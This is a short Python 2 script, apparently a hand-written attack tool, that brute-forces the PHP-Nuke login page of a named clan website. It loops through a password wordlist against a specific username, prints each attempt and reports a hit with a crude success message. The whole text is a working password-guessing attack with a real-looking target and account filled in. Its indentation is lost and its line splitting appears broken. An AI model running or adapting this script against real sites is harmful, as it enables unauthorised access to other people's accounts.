#!/usr/bin/python
import urllib2, urllib
#HOST: set to the exact URL of the login form
#USER: self explanitory
#WORDLIST: path/to/your/wordlist.txt
#ERROR: somthing that is unique the the source code of page a failed login directs you to
HOST = \"http://war-clan.clanservers.com/PHP-Nuke/modules.php?name=Your_Account\"
USER = \"W_A_R_Merijn\"
WORDLIST = \"/home/phunkedelik/scripts/wordlist.txt\"
ERROR = \"Login Incorrect!\"
wordfile = open(WORDLIST, \"r\")
words = wordfile.read().split(\"n\")
words = map(lambda x: x.rstrip(), words)
wordfile.close()
for word in words:
print \"Trying password: %s\" % word
login_form = {\"username\": USER,
\"user_password\": word,
\"redirect\": \"\",
\"mode\": \"\",
\"f\": \"\",
\"t\": \"\",
\"op\": \"login\"}
login_req = urllib.urlencode(login_form)
req = urllib2.Request(HOST, login_req)
req.addheaders = [(\'User-agent\', \'Mozilla/5.0\')]
source = urllib2.urlopen(req).read()
if \"Login Incorrect! Please Try Again...\" not in source:
print \"Ah shit it worked with: %s, %s\" % (USER, word)
break